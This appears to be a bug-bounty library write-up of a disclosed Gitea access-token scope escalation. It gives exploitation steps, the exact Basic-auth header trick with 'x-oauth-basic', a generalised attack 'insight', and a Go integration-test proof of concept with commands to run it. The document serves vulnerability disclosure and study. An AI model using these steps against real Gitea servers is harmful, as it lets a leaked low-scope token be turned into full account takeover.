# Gitea: Privilege Escalation via Access Token Scope Escalation in API

Gitea's token-creation API guard was fooled by passing a PAT as Basic auth, letting a write:user token mint an all-scoped token.

- Payout: Research
- Severity: high
- Program: Gitea
- Found by (vendor credit): AdamKorcz, ohxorud-dev
- Found by: AdamKorcz, ohxorud-dev
- Disclosed: 2026-07-21
- CVE: CVE-2026-56654
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-683j-3ff6-hh2x
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-683j-3ff6-hh2x
- Tags: area:web domain:api domain:web impact:ato impact:privesc kind:research platform:ghsa sev:high tech:go technique:chained technique:source-review vuln:access-control vuln:auth-bypass vuln:privilege-escalation

**Target:** POST /api/v1/users/{username}/tokens API endpoint
**Root cause:** Basic auth handler accepts a PAT in `Authorization: Basic <token>:x-oauth-basic` and sets AuthedMethod="basic", so IsBasicAuth becomes true and reqBasicOrRevProxyAuth passes; CreateAccessToken then applies no scope ceiling relative to the caller's token scope.
**Steps:**
1. Obtain a restricted PAT with only `write:user` scope (e.g. leaked CI secret).
2. Confirm baseline: `GET /api/v1/repos/search` with `Authorization: token <restricted>` returns 403.
3. Send `POST /api/v1/users/{username}/tokens` with body `{"name":"poc-escalated","scopes":["all"]}` and header `Authorization: Basic base64(<token>:x-oauth-basic)`.
4. Response is 201 Created with a new token whose scopes include `all`.
5. Use the new token on `GET /api/v1/repos/search` — returns 200 OK, confirming privilege gain.
**How found:** Code review of the auth middleware chain: noticed Basic.Verify() sets AuthedMethod to the method name "basic" even when the credential is a token, making IsBasicAuth true, and that CreateAccessToken never checks requested scopes against ApiTokenScope.
**Exploitation:** Attacker holding a low-scope token (write:user) from a leaked CI secret sends it as the username in Basic auth with password `x-oauth-basic`; the middleware's IsBasicAuth check passes, and the handler mints an `all`-scoped token without password knowledge, granting full account API access.
**Escalation:** Restricted write:user token → all-scoped token → full account/repository access, no password required.
**Insight:** When a middleware gates on an auth *method* flag (IsBasicAuth) rather than the credential type actually validated, try feeding a token through the password-shaped Basic auth path (`<token>:x-oauth-basic`) — and always test whether token-minting endpoints enforce a scope subset of the caller.

## Proof of concept (copied exactly from the original report)

**Integration test exploiting Basic auth token scope escalation**

```
func TestAPIPrivilegeEscalationViaBasicAuthToken(t *testing.T) {
	defer tests.PrepareTestEnv(t)()

	// Non-admin user — escalation is meaningful and not trivially justified.
	user := unittest.AssertExistsAndLoadBean(t, &user_model.User{ID: 2})

	// Step 1 — Obtain a legitimately restricted token via password-based Basic auth.
	// Only write:user scope is granted; repository, admin, etc. are excluded.
	restrictedToken := createAPIAccessTokenWithoutCleanUp(t, "poc-restricted", user,
		[]auth_model.AccessTokenScope{auth_model.AccessTokenScopeWriteUser})
	defer deleteAPIAccessToken(t, restrictedToken, user)

	// Confirm the restricted token is blocked from repository-scoped endpoints.
	// This establishes the baseline: write:user does not imply read:repository.
	req := NewRequest(t, "GET", "/api/v1/repos/search").
		AddTokenAuth(restrictedToken.Token)
	MakeRequest(t, req, http.StatusForbidden)

	// Step 2 — Exploit: supply the restricted token as Basic auth credentials.
	// Authorization: Basic base64("<token>:x-oauth-basic")
	//
	// Basic.Verify() validates the token and returns the user. group.Verify() then
	// sets AuthedMethod="basic" (the method name). auth.go maps that to
	// IsBasicAuth=true, satisfying reqBasicOrRevProxyAuth() even though no
	// password was provided. CreateAccessToken then creates the token with the
	// requested "all" scope without checking whether it exceeds the caller's scope.
	payload := map[string]any{
		"name":   "poc-escalated",
		"scopes": []string{"all"},
	}
	req = NewRequestWithJSON(t, "POST", "/api/v1/users/"+user.LoginName+"/tokens", payload)
	req.SetBasicAuth(restrictedToken.Token, "x-oauth-basic")

	// This should be 403 (scope ceiling not enforced and IsBasicAuth check bypassed)
	// but is currently 201, confirming the vulnerability.
	resp := MakeRequest(t, req, http.StatusCreated)

	escalatedToken := DecodeJSON(t, resp, &api.AccessToken{})
	require.NotNil(t, escalatedToken)
	defer deleteAPIAccessToken(t, *escalatedToken, user)

	// Step 3 — The escalated token carries the "all" scope.
	assert.Contains(t, escalatedToken.Scopes, "all",
		"escalated token scope must be 'all'; original token only had write:user")

	// Step 4 — The escalated token can now reach endpoints blocked to the original
	// token, confirming real privilege gain beyond write:user.
	req = NewRequest(t, "GET", "/api/v1/repos/search").
		AddTokenAuth(escalatedToken.Token)
	MakeRequest(t, req, http.StatusOK)
}
```

**Commands to run the PoC test**

```
git clone https://github.com/go-gitea/gitea
cd gitea
git checkout 9155a81b9daf1d46b2380aa91271e623ac947c1e

# Place the unit test above at `tests/integration/api_token_scope_escalation_test.go`.

go test -run '^TestAPIPrivilegeEscalationViaBasicAuthToken$' ./tests/integration/
```

